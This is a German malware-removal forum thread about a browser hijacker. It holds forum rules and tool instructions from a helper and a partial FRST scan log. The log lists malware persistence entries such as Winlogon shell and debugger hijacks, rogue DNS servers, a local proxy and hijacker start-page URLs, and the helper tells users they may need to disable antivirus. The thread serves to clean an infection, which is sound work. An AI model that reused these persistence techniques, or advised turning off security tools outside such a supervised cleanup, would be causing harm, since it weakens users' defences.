Trojaner-Board

Trojaner-Board (https://www.trojaner-board.de/)
-   Log-Analyse und Auswertung (https://www.trojaner-board.de/log-analyse-auswertung/)
-   -   wie kann ich den ,,initialpage123创 virus beseitigen? (https://www.trojaner-board.de/185800-initialpage123-virus-beseitigen.html)

NexsReloaded 01.06.2017 18:18
wie kann ich den ,,initialpage123创 virus beseitigen?
 
ich habe mir anscheinend den ,,initialpage123创 virus eingefangen und meine frage ist wie ich den jetzt wieder loswerden kann?

Infos:
- betriebssystem: windows 8.1

- ich kann keine programme mehr installieren bzw deinstallieren

- immer wenn ich meinen browser 鰂fne (egal ob chrome, firefox oder den internet explorer) es 鰂fnet sich immer die seite ,, hxxp://www.searchinme.com/?type=hp&ts=1496337285927&z=8418369e135aba01f46b08fg4z2t5e6m0o5oct6m9w&from=official&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX 创

-es werden auch von alleine programme wie ,,chromium创 oder ,,speed my pc创 installiert

-鰂ters werden auch von alleine die proxy einstellungen aktivirt

-nach dem starten des pc磗 鰂fnet sich immer f黵 ca.1 sekunde ein ,cmd fenster und darauf folgt ein ,,run.dll fehler创



kann mir bitte jemand helfen? :killpc:

M-K-D-B 02.06.2017 20:34
:hallo:





Mein Name ist Matthias und ich werde dir bei der Bereinigung deines Computers helfen.



Um die Bereinigung m鯿hlichst effektiv und schnell gestalten zu k鰊nen, bitte ich um Beachtung der folgenden Hinweise:
  1. Falls wir Hinweise auf illegal erworbene Software finden, werden wir den Support unterbrechen bis jegliche Art von illegaler Software vom Rechner entfernt wurde.
  2. Lies dir meine Anleitungen immer sorgf鋖tig durch, arbeite alle Schritte in der vorgegebenen Reihefolge nacheinander ab und poste immer alle Logdateien (auch wenn nichts gefunden wurde). Solltest du Probleme haben, stoppe mit deiner Bearbeitung und beschreibe mir dein Problem so gut es geht.
  3. Solltest du mir nicht innerhalb von 3 Tagen antworten, gehe ich davon aus, dass du keine Hilfe mehr ben鰐igst. Dann l鰏che ich dein Thema aus meinem Abo. Solltest du einmal l鋘ger abwesend sein, so gib mir bitte Bescheid!
  4. W鋒rend der Bereinigung bitte nichts installieren oder deinstallieren, au遝r ich bitte dich darum!
    Au遝rdem bitte ich dich, nicht eigenm鋍htig irgendwelche Sicherheitsprogramme auszuf黨ren und damit deinen Rechner zu 黚erpr黤en/bereinigen, da ich so leicht den 躡erblick verlieren kann.
    Au遝rdem h鋞test du dir das Er鰂fnen eines Themas in diesem Fall auch gleich sparen k鰊nen, wenn du dann doch wieder alleine rumhantierst.
  5. Bitte beachten: Download bei filepony.de: So ladet Ihr unsere Tools richtig!
  6. Alle zu verwendenen Programme sind auf dem Desktop ( C:\users\dein Benutzername\Desktop\ ) abzuspeichern und von dort als Administrator zu starten!
  7. Einige Programme, die wir hier verwenden, k鰊nen unter Umst鋘den von deinem Antiviren- oder Anti-Malwareprogramm f鋖schlicherweise als Bedrohung eingestuft werden. Die Sicherheitsprogramme k鰊nen aufgrund eines bestimmten Programmverhaltens nicht zwischen "gut" oder "b鰏e" unterscheiden und schlagen Alarm. Dabei handelt es sich um Fehlalarme, welche du getrost ignorieren kannst. Gegebenenfalls musst du deine Sicherheitssoftware vor der Ausf黨rung eines Programms deaktivieren, damit unsere Bereinigungsvorg鋘ge nicht beeintr鋍htigt werden.
  8. Sollten die Logdateien einmal die zul鋝sige L鋘ge (~ 120.000 Zeichen) 黚erschreiten, so teile die Logdateien auf mehrere Posts auf.
    Zur Not kannst du die Logdateien dann auch zippen (in ein .zip Archiv packen) und als Anhang hochladen.
  9. Bitte arbeite so lange mit mir zusammen, bis ich dir sage, dass wir fertig sind und dein Rechner "sauber" ist. Das vorzeitige Verschwinden von Symptomen hei遲 nicht automatisch, dass dein Rechner bereits vollst鋘dig sauber ist.
  10. In der Regel antworte ich dir innerhalb von 24 Stunden, oft sogar wesentlich schneller.
    Jedoch habe auch ich einen normalen Beruf und Familie. Ich bin daher nicht jeden Tag stundenlag hier im Forum unterwegs. Es kann unter Umst鋘den bis zu 2 Tage dauern, bis du eine Antwort von mir erh鋖tst. Sollte diese Zeit 黚erschritten sein, so kannst du mir gerne eine PM als Erinnerung schicken.





Bitte arbeite alle Schritte in der vorgegebenen Reihefolge nacheinander ab und poste alle Logdateien in CODE-Tags:
So funktioniert es:
Posten in CODE-Tags
Die Logfiles anzuh鋘gen oder sogar vorher in ein ZIP, RAR, 7Z-Archive zu packen erschwert deinem Helfer massiv die Arbeit, es sei denn nat黵lich die Datei w鋜e ansonsten zu gro f黵 das Forum. Um die Logfiles in eine CODE-Box zu stellen gehe so vor:
  • Markiere das gesamte Logfile (geht meist mit STRG+A) und kopiere es in die Zwischenablage mit STRG+C.
  • Klicke im Editor auf das #-Symbol. Es erscheinen zwei Klammerausdr點ke [CODE] [/CODE].
  • Setze den Curser zwischen die CODE-Tags und dr點ke STRG+V.
  • Klicke aauf Erweitert/Vorschau, um so pr黤en, ob du es richtig gemacht hast. Wenn alles stimmt ... auf Antworten.
http://www.trojaner-board.de/picture...&pictureid=307

Danke f黵 deine Mitarbeit!







Schritt 1
Bitte lade dir die passende Version von Farbar's Recovery Scan Tool auf deinen Desktop: FRST Download FRST 32-Bit | FRST 64-Bit
(Wenn du nicht sicher bist: Lade beide Versionen oder unter Start > Computer (Rechtsklick) > Eigenschaften nachschauen)
  • Starte jetzt FRST.
  • 膎dere ungefragt keine der Checkboxen und klicke auf Untersuchen.
  • Die Logdateien werden nun erstellt und befinden sich danach auf deinem Desktop.
  • Poste mir die FRST.txt und nach dem ersten Scan auch die Addition.txt in deinem Thread (#-Symbol im Eingabefenster der Webseite anklicken)







Schritt 2
Downloade dir bitte TDSSKiller TDSSKiller.exe und speichere diese Datei auf dem Desktop
  • Starte die TDSSKiller.exe - Einstellen wie in der Anleitung zu TDSSKiller beschrieben.
  • Dr點ke Start Scan
  • Sollten infizierte Objekte gefunden werden, w鋒le keinesfalls Cure. W鋒le Skip und klicke auf Continue.
    TDSSKiller wird eine Logfile auf deinem Systemlaufwerk speichern (Meistens C:\)
    Als Beispiel: C:\TDSSKiller.<Version_Datum_Uhrzeit>log.txt
Poste den Inhalt bitte in jedem Fall hier in deinen Thread.







Bitte poste mit deiner n鋍hsten Antwort
  • die Logdatei von TDSS-Killer,
  • die beiden neuen Logdateien von FRST.

NexsReloaded 03.06.2017 13:16
ich kann tdss.killer nicht ausf黨ren. da kommt immer die meldung ,,nicht vertrauensw黵dige software创


FRST Logfile:
Code:
Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x64) Version:13-04-2016
durchgef黨rt von Nick Schuster (Administrator) auf RAZERLAP (03-06-2017 14:01:57)
Gestartet von C:\Users\Nick Schuster\AppData\Local\Microsoft\Windows\INetCache\IE\BPT3LC5O
Geladene Profile: Nick Schuster (Verf黦bare Profile: Nick Schuster)
Platform: Windows 8.1 (X64) Sprache: Deutsch (Deutschland)
Internet Explorer Version 11 (Standard-Browser: FF)
Start-Modus: Normal
Anleitung f黵 Farbar Recovery Scan Tool: hxxp://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Prozesse (Nicht auf der Ausnahmeliste) =================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.)

(Intel Corporation) C:\Windows\System32\igfxCUIService.exe
(Microsoft Corporation) C:\Windows\System32\rundll32.exe
(Adobe Systems, Incorporated) C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe
(Microsoft Corporation) C:\Windows\SysWOW64\svchost.exe
() C:\Program Files (x86)\Canon\IJPLM\ijplmsvc.exe
(DEVGURU Co., LTD.) C:\Program Files (x86)\Samsung\USB Drivers\27_ssconn\conn\ss_conn_service.exe
(TeamViewer GmbH) C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe
(Microsoft Corporation) C:\Windows\SysWOW64\svchost.exe
() C:\Windows\Temp\g50DA.tmp.exe
() C:\Windows\Temp\g50DC.tmp.exe
(Microsoft Corporation) C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe
(Intel Corporation) C:\Windows\System32\igfxEM.exe
(Intel Corporation) C:\Windows\System32\igfxHK.exe
() C:\Windows\System32\igfxTray.exe
(Microsoft Corporation) C:\Windows\System32\SkyDrive.exe
() C:\ProgramData\windows\windows.exe
(Microsoft Corporation) C:\Windows\System32\SettingSyncHost.exe
(Microsoft Corporation) C:\Windows\System32\msiexec.exe
() C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe
(Microsoft Corporation) C:\Windows\SysWOW64\svchost.exe
(Microsoft Corporation) C:\Windows\WinStore\WSHost.exe
(Microsoft Corporation) C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_6.3.9600.18384_none_fa1d93c39b41b41a\TiWorker.exe


==================== Registry (Nicht auf der Ausnahmeliste) ===========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zur點kgesetzt oder entfernt. Die Datei wird nicht verschoben.)

HKLM\...\Run: [AirServer64] => C:\Program Files\App Dynamic\AirServer\AirServer.exe
HKLM\...\Run: [AdobeAAMUpdater-1.0] => "C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe"
HKLM\...\Run: [gplyra] => C:\Users\Nick Schuster\AppData\Roaming\gplyra\gplyra.exe [1555968 2017-04-24] ()
HKLM-x32\...\Run: [BlueStacks Agent] => C:\Program Files (x86)\BlueStacks\HD-Agent.exe
HKLM-x32\...\Run: [Dropbox] => "C:\Program Files (x86)\Dropbox\Client\Dropbox.exe" /systemstartup
HKLM-x32\...\Run: [KMS] => C:\Windows\kmsonboot\autoact.exe
HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [587288 2016-12-12] (Oracle Corporation)
HKLM-x32\...\Run: [IJNetworkScannerSelectorEX] => C:\Program Files (x86)\Canon\IJ Network Scanner Selector EX\CNMNSST.exe [235624 2015-01-09] (CANON INC.)
HKLM-x32\...\Run: [CanonQuickMenu] => C:\Program Files (x86)\Canon\Quick Menu\CNQMMAIN.EXE [1314432 2016-06-09] (CANON INC.)
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\RunOnce: [windows] => C:\ProgramData\windows\windows.exe [1052256 2017-01-03] ()
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\MountPoints2: {3b90a8ba-330f-11e7-83e4-0071c2420bd3} - "F:\autorun.exe"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\MountPoints2: {e8e722cc-412b-11e7-840b-0071c2420bd3} - "F:\OriginInstaller.exe"
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\Winlogon: [Shell] explorer.exe,"C:\Users\Nick Schuster\AppData\Roaming\avv.exe" <==== ACHTUNG
HKU\S-1-5-18\...\Run: [sG4nE4Ad85qJ.exe] => C:\ProgramData\e9cf343f516c47a4a7255147ad1dcd13\sG4nE4Ad85qJ.exe [216576 2017-05-30] ()
IFEO\GoogleUpdate.exe: [Debugger] 324095823984.exe
IFEO\GoogleUpdaterService.exe: [Debugger] 8736459873644.exe
IFEO\rstrui.exe: [Debugger] rrtuy.exe
ShellExecuteHooks:  - {5EBD559E-A5BA-11E6-B9FD-64006A5CFC23} - C:\Users\Nick Schuster\AppData\Roaming\Phucusy\Pipothzo.dll Keine Datei [ ]
ShellExecuteHooks:  - {9C829CE8-039A-11E7-8F7F-64006A5CFC23} - C:\Users\Nick Schuster\AppData\Roaming\Anerpe\Zoduly.dll Keine Datei [ ]
ShellExecuteHooks:  - {234628B4-4048-11E7-9F2C-64006A5CFC23} - C:\Users\Nick Schuster\AppData\Roaming\Grerdaentlerveck\Thuvale.dll Keine Datei [ ]
ShellExecuteHooks:  - {A4CD8824-4049-11E7-9F11-64006A5CFC23} - C:\Users\Default\AppData\Roaming\Minerent\Wuteghtplejipy.dll [144896 2017-05-30] ()
ShellIconOverlayIdentifiers: [ MEGA (Pending)] -> {056D528D-CE28-4194-9BA3-BA2E9197FF8C} => C:\Users\Nick Schuster\AppData\Local\MEGAsync\ShellExtX64.dll Keine Datei
ShellIconOverlayIdentifiers: [ MEGA (Synced)] -> {05B38830-F4E9-4329-978B-1DD28605D202} => C:\Users\Nick Schuster\AppData\Local\MEGAsync\ShellExtX64.dll Keine Datei
ShellIconOverlayIdentifiers: [ MEGA (Syncing)] -> {0596C850-7BDD-4C9D-AFDF-873BE6890637} => C:\Users\Nick Schuster\AppData\Local\MEGAsync\ShellExtX64.dll Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt1] -> {FB314ED9-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt10] -> {FB314EE2-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt2] -> {FB314EDA-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt3] -> {FB314EDD-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt4] -> {FB314EDE-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt5] -> {FB314EDB-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt6] -> {FB314EDF-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt7] -> {FB314EDC-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt8] -> {FB314EE0-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll Keine Datei
ShellIconOverlayIdentifiers: [ DropboxExt9] -> {FB314EE1-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.3.0.dll Keine Datei
ShellIconOverlayIdentifiers: [00avast] -> {472083B0-C522-11CF-8763-00608CC02F24} =>  Keine Datei
ShellIconOverlayIdentifiers: [KzShlobj] -> {AAA0C5B8-933F-4200-93AD-B143D7FFF9F2} =>  Keine Datei
ShellIconOverlayIdentifiers-x32: [ MEGA (Pending)] -> {056D528D-CE28-4194-9BA3-BA2E9197FF8C} => C:\Users\Nick Schuster\AppData\Local\MEGAsync\ShellExtX32.dll Keine Datei
ShellIconOverlayIdentifiers-x32: [ MEGA (Synced)] -> {05B38830-F4E9-4329-978B-1DD28605D202} => C:\Users\Nick Schuster\AppData\Local\MEGAsync\ShellExtX32.dll Keine Datei
ShellIconOverlayIdentifiers-x32: [ MEGA (Syncing)] -> {0596C850-7BDD-4C9D-AFDF-873BE6890637} => C:\Users\Nick Schuster\AppData\Local\MEGAsync\ShellExtX32.dll Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt1] -> {FB314ED9-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt10] -> {FB314EE2-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt2] -> {FB314EDA-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt3] -> {FB314EDD-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt4] -> {FB314EDE-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt5] -> {FB314EDB-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt6] -> {FB314EDF-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt7] -> {FB314EDC-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt8] -> {FB314EE0-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll Keine Datei
ShellIconOverlayIdentifiers-x32: [ DropboxExt9] -> {FB314EE1-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt.3.0.dll Keine Datei
Startup: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MEGAsync.lnk [2017-06-03]
Startup: C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\smss.exe [2017-06-03] ()
BootExecute: autocheck autochk * sh4native Sh4Removal
GroupPolicy: Beschr鋘kung - Chrome <======= ACHTUNG
CHR HKLM\SOFTWARE\Policies\Google: Beschr鋘kung <======= ACHTUNG

==================== Internet (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zur點kgesetzt, wenn es sich um einen Registryeintrag handelt.)

ProxyEnable: [.DEFAULT] => Proxy ist aktiviert.
ProxyServer: [.DEFAULT] => 127.0.0.1:8003
ProxyEnable: [S-1-5-19] => Proxy ist aktiviert.
ProxyServer: [S-1-5-19] => 127.0.0.1:8003
ProxyEnable: [S-1-5-20] => Proxy ist aktiviert.
ProxyServer: [S-1-5-20] => 127.0.0.1:8003
ProxyServer: [S-1-5-21-3847841184-804715454-2304624315-1001] => 127.0.0.1:8003
Hosts: Es ist mehr als ein Eintrag in der Hosts Datei zu finden. Siehe Hosts-Bereich in Addition.txt
Tcpip\Parameters: [DhcpNameServer] 192.168.192.1
Tcpip\Parameters: [NameServer] 82.163.143.157 82.163.142.159
Tcpip\..\Interfaces\{04A2521B-7C11-484A-B28D-E9BE3102A821}: [DhcpNameServer] 82.163.143.176
Tcpip\..\Interfaces\{8EA2322E-EF2C-4423-AF3C-3EE361FD417B}: [DhcpNameServer] 82.163.143.157
Tcpip\..\Interfaces\{9BAF9E4B-D963-4721-8C85-586F3F37FF3C}: [NameServer] 8.8.8.8,8.8.4.4,4.2.2.1,4.2.2.2,208.67.222.222,208.67.220.220,8.26.56.26,8.20.247.20,156.154.70.1,156.154.71.1
Tcpip\..\Interfaces\{9BAF9E4B-D963-4721-8C85-586F3F37FF3C}: [DhcpNameServer] 192.168.192.1
Tcpip\..\Interfaces\{C085ED3F-9016-49ED-8EF6-3F93AD892C71}: [NameServer] 82.163.143.157 82.163.142.159
Tcpip\..\Interfaces\{C085ED3F-9016-49ED-8EF6-3F93AD892C71}: [DhcpNameServer] 82.163.143.157
Tcpip\..\Interfaces\{E0DF352E-2385-4F61-8BE1-15E2F9F0520E}: [NameServer] 82.163.143.157 82.163.142.159
Tcpip\..\Interfaces\{E0DF352E-2385-4F61-8BE1-15E2F9F0520E}: [DhcpNameServer] 82.163.143.157
ManualProxies:

Internet Explorer:
==================
HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Beschr鋘kung <======= ACHTUNG
HKU\.DEFAULT\SOFTWARE\Policies\Microsoft\Internet Explorer: Beschr鋘kung <======= ACHTUNG
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.ourluckysites.com/?type=hp&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.ourluckysites.com/?type=hp&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?type=ds&ts=1491385150&z=2a9afdb9de70e14a8bc3025g3z1t6gac5bfwbg8gcw&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&q={searchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?type=ds&ts=1491385150&z=2a9afdb9de70e14a8bc3025g3z1t6gac5bfwbg8gcw&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&q={searchTerms}
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1491385150&z=2a9afdb9de70e14a8bc3025g3z1t6gac5bfwbg8gcw&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&q={searchTerms}
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1491385150&z=2a9afdb9de70e14a8bc3025g3z1t6gac5bfwbg8gcw&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&q={searchTerms}
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.startpageing123.com/search/?type=ds&ts=1490098796&z=edb8deb4a39db277332a2ebg6z4t7e1e3t2bdm2b1z&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&q={searchTerms}
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.ourluckysites.com/?type=hp&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX
SearchScopes: HKLM -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = hxxps://de.search.yahoo.com/yhs/search?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_ir_17_18&param1=1&param2=f%3D4%26b%3DIE%26cc%3Dde%26pa%3Dwincy%26cd%3D2XzuyEtN2Y1L1Qzu0FyCtDyCyCzyyE0FyB0EzytCyByD0DtDtN0D0Tzu0StCzyyDtAtN1L2XzutAtFtBzytFtAtFyByDtN1L1Czu1TtN1L1G1B1V1N2Y1L1Qzu2StCyBtCtBzztByEtCtGyCyB0DtCtG0C0B0DtCtGyE0E0DyCtGtCyEyBzzyD0CzzzytD0CyD0F2QtN1M1F1B2Z1V1N2Y1L1Qzu2StC0C0DtD0D0B0CyDtGzyyC0E0FtGyEtDyEyDtG0BzztCzztG0FtBtDyCtDzy0FtCzztDzz0E2QtN0A0LzuyE%26cr%3D1366659074%26a%3Dwbf_ir_17_18%26os_ver%3D6.3%26os%3DWindows%2B8.1&p={searchTerms}
SearchScopes: HKLM -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = hxxps://de.search.yahoo.com/yhs/search?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_ir_17_18&param1=1&param2=f%3D4%26b%3DIE%26cc%3Dde%26pa%3Dwincy%26cd%3D2XzuyEtN2Y1L1Qzu0FyCtDyCyCzyyE0FyB0EzytCyByD0DtDtN0D0Tzu0StCzyyDtAtN1L2XzutAtFtBzytFtAtFyByDtN1L1Czu1TtN1L1G1B1V1N2Y1L1Qzu2StCyBtCtBzztByEtCtGyCyB0DtCtG0C0B0DtCtGyE0E0DyCtGtCyEyBzzyD0CzzzytD0CyD0F2QtN1M1F1B2Z1V1N2Y1L1Qzu2StC0C0DtD0D0B0CyDtGzyyC0E0FtGyEtDyEyDtG0BzztCzztG0FtBtDyCtDzy0FtCzztDzz0E2QtN0A0LzuyE%26cr%3D1366659074%26a%3Dwbf_ir_17_18%26os_ver%3D6.3%26os%3DWindows%2B8.1&p={searchTerms}
SearchScopes: HKLM -> {2211d4a5-48d0-47f5-a7cd-81e861470f7f} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSERBM&pc=MSERT1
SearchScopes: HKLM-x32 -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxps://de.search.yahoo.com/yhs/search?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_ir_17_18&param1=1&param2=f%3D4%26b%3DIE%26cc%3Dde%26pa%3Dwincy%26cd%3D2XzuyEtN2Y1L1Qzu0FyCtDyCyCzyyE0FyB0EzytCyByD0DtDtN0D0Tzu0StCzyyDtAtN1L2XzutAtFtBzytFtAtFyByDtN1L1Czu1TtN1L1G1B1V1N2Y1L1Qzu2StCyBtCtBzztByEtCtGyCyB0DtCtG0C0B0DtCtGyE0E0DyCtGtCyEyBzzyD0CzzzytD0CyD0F2QtN1M1F1B2Z1V1N2Y1L1Qzu2StC0C0DtD0D0B0CyDtGzyyC0E0FtGyEtDyEyDtG0BzztCzztG0FtBtDyCtDzy0FtCzztDzz0E2QtN0A0LzuyE%26cr%3D1366659074%26a%3Dwbf_ir_17_18%26os_ver%3D6.3%26os%3DWindows%2B8.1&p={searchTerms}
SearchScopes: HKLM-x32 -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = hxxp://www.bing.com/search?q={searchTerms}&form=MSERBM&pc=MSERT1
SearchScopes: HKLM-x32 -> {2211d4a5-48d0-47f5-a7cd-81e861470f7f} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1491385150&z=2a9afdb9de70e14a8bc3025g3z1t6gac5bfwbg8gcw&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&q={searchTerms}
SearchScopes: HKLM-x32 -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxps://de.search.yahoo.com/yhs/search?hspart=iry&hsimp=yhs-fullyhosted_003&type=wbf_ir_17_18&param1=1&param2=f%3D4%26b%3DIE%26cc%3Dde%26pa%3Dwincy%26cd%3D2XzuyEtN2Y1L1Qzu0FyCtDyCyCzyyE0FyB0EzytCyByD0DtDtN0D0Tzu0StCzyyDtAtN1L2XzutAtFtBzytFtAtFyByDtN1L1Czu1TtN1L1G1B1V1N2Y1L1Qzu2StCyBtCtBzztByEtCtGyCyB0DtCtG0C0B0DtCtGyE0E0DyCtGtCyEyBzzyD0CzzzytD0CyD0F2QtN1M1F1B2Z1V1N2Y1L1Qzu2StC0C0DtD0D0B0CyDtGzyyC0E0FtGyEtDyEyDtG0BzztCzztG0FtBtDyCtDzy0FtCzztDzz0E2QtN0A0LzuyE%26cr%3D1366659074%26a%3Dwbf_ir_17_18%26os_ver%3D6.3%26os%3DWindows%2B8.1&p={searchTerms}
SearchScopes: HKU\S-1-5-21-3847841184-804715454-2304624315-1001 -> {2211d4a5-48d0-47f5-a7cd-81e861470f7f} URL =
BHO: Canon Easy-WebPrint EX BHO -> {3785D0AD-BFFF-47F6-BF5B-A587C162FED9} -> C:\Program Files\Canon\Easy-WebPrint EX\ewpexbho.dll [2016-02-23] (CANON INC.)
BHO: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files\Java\jre1.8.0_121\bin\ssv.dll [2017-02-13] (Oracle Corporation)
BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files\Java\jre1.8.0_121\bin\jp2ssv.dll [2017-02-13] (Oracle Corporation)
BHO-x32: Canon Easy-WebPrint EX BHO -> {3785D0AD-BFFF-47F6-BF5B-A587C162FED9} -> C:\Program Files (x86)\Canon\Easy-WebPrint EX\ewpexbho.dll [2016-02-23] (CANON INC.)
BHO-x32: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\ssv.dll [2017-02-13] (Oracle Corporation)
